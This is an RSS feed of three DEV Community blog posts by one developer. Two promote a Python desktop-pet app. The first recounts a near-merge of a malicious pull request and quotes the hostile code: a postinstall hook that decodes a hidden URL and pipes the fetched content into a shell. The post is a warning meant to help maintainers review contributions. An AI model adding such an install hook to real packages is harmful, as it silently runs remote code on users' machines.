<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Olya Pi</title>
    <description>The latest articles on DEV Community by Olya Pi (@yumiaura).</description>
    <link>https://dev.to/yumiaura</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3578840%2F665e1a70-a102-411b-b410-f0265efb3de0.jpg</url>
      <title>DEV Community: Olya Pi</title>
      <link>https://dev.to/yumiaura</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/yumiaura"/>
    <language>en</language>
    <item>
      <title>How we almost merged malware into an open-source project today.</title>
      <dc:creator>Olya Pi</dc:creator>
      <pubDate>Wed, 29 Jul 2026 13:03:40 +0000</pubDate>
      <link>https://dev.to/yumiaura/how-we-almost-merged-malware-into-an-open-source-project-today-4mji</link>
      <guid>https://dev.to/yumiaura/how-we-almost-merged-malware-into-an-open-source-project-today-4mji</guid>
      <description>&lt;p&gt;A short story about how it sometimes goes. An ordinary workday, the usual rush. A pull request lands in a personal open-source project — a bug fix. I take a quick look:&lt;/p&gt;

&lt;p&gt;The bug is hard to reproduce — the app hangs when a machine has two default routes and a VPN is up. A second person shows up in the issue and confirms it: yep, same trouble, exactly the same problem.&lt;/p&gt;

&lt;p&gt;I open the author's profile — a serious title, SRE… but almost no GitHub activity. That felt off. What exactly pulled this respectable gentleman out of the shadows for such a small project?&lt;/p&gt;

&lt;p&gt;I review it — looks okay, a few things I'd have formatted differently, but nothing suspicious. The second participant, who had sent a harmless PR before, writes again: checked the code, it all works, let's merge. For a while I go back and forth: nitpick a few lines of formatting, or just merge as is.&lt;/p&gt;

&lt;p&gt;By the way, I have update notifications set up on GitHub (shameless plug: github.com/yumiaura/myCat). And right then I see a commit come in with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;package.json&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"postinstall"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node scripts/install-app-deps.js"&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;scripts/install-app-deps.js&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Buffer.from(PAYLOAD_B&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"base64"&lt;/span&gt;&lt;span class="err"&gt;).toString()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;runs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;silently&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;install&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;https.get(url,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;res&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;res.pipe(exec(&lt;/span&gt;&lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;&lt;span class="err"&gt;)))&lt;/span&gt;&lt;span class="w"&gt;  
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It was hidden in a postinstall script — disguised as a VS Code update. On install it quietly pulled and ran code from a remote server.&lt;/p&gt;

&lt;p&gt;I don't know what would've happened if we'd just run it in an IDE. I just wanted to give you a heads-up — this is how it sometimes goes.&lt;/p&gt;

&lt;p&gt;How do you review incoming PRs on your open-source projects? 🐱&lt;/p&gt;

</description>
      <category>github</category>
      <category>opensource</category>
      <category>security</category>
    </item>
    <item>
      <title>myCat escaped to opensource</title>
      <dc:creator>Olya Pi</dc:creator>
      <pubDate>Fri, 24 Jul 2026 17:00:03 +0000</pubDate>
      <link>https://dev.to/yumiaura/mycat-escaped-to-opensource-2dl1</link>
      <guid>https://dev.to/yumiaura/mycat-escaped-to-opensource-2dl1</guid>
      <description>&lt;p&gt;I've been meaning to write this post for a long time - I just never worked up the nerve.&lt;br&gt;
I want to tell you about my pet project.&lt;br&gt;
Three years ago I got into Python. Like a lot of people, I started with online courses - and most of it went in one ear and out the other.&lt;br&gt;
So, on the side, I decided to write a little screen-pet program. A simple idea, but it felt genuinely interesting to me - so interesting that I dropped the course for it.&lt;br&gt;
Then came the small freelance gigs, my first real tasks. And every time I looked at the code of seasoned, bearded senior devs and compared it to mine, I felt ashamed - God forbid anyone sees this - so I'd quietly patch mine up on the sly.&lt;br&gt;
Then the first AI wave arrived. First writing code through ChatGPT, then Cursor - and I was a little afraid to use it on client projects.&lt;br&gt;
So myCat became the first victim of my AI experiments 😄&lt;br&gt;
Around the same time I started looking through other people's public repositories - and soon realized there's nothing to be ashamed of. The cat went open source.&lt;br&gt;
You can take a look (and adopt it, if you like it) on my GitHub page: &lt;a href="https://github.com/yumiaura/myCat" rel="noopener noreferrer"&gt;https://github.com/yumiaura/myCat&lt;/a&gt;&lt;br&gt;
Constructive criticism - and honestly any feedback or ideas - are very welcome. And if you can tell a beginner dev how to get a little cat some popularity, my gratitude will be doubled 😊&lt;br&gt;
Wishing everyone all the best, interesting projects, and mountains of green dollars 💵&lt;/p&gt;

&lt;h1&gt;
  
  
  buildinpublic #python #opensource #selftaught #softwaredevelopment
&lt;/h1&gt;

</description>
      <category>coding</category>
      <category>opensource</category>
      <category>python</category>
      <category>sideprojects</category>
    </item>
    <item>
      <title>My first little app — would love your feedback 💕</title>
      <dc:creator>Olya Pi</dc:creator>
      <pubDate>Wed, 22 Oct 2025 15:28:58 +0000</pubDate>
      <link>https://dev.to/yumiaura/my-first-little-app-would-love-your-feedback-3oil</link>
      <guid>https://dev.to/yumiaura/my-first-little-app-would-love-your-feedback-3oil</guid>
      <description>&lt;p&gt;Hi everyone!&lt;br&gt;&lt;br&gt;
So, I’m slowly making my way on the road to becoming a programmer. The syntax is already familiar, and I decided to try publishing my first small app — &lt;a href="https://github.com/yumiaura/mycat" rel="noopener noreferrer"&gt;myCat&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;It works! 🐾&lt;br&gt;&lt;br&gt;
If you have a moment, I’d really appreciate it if you could take a look and maybe share a few words of feedback :)&lt;br&gt;&lt;br&gt;
Even if it’s something like &lt;em&gt;“woman, your place is in the kitchen”&lt;/em&gt;, I’ll still smile 😄  &lt;/p&gt;

&lt;p&gt;I’d be especially grateful if someone could tell me how to make the app version update automatically — it’s pretty annoying to change it manually in the file each time.  &lt;/p&gt;

&lt;p&gt;Wishing everyone a great day, and thank you for reading! 💖&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>python</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
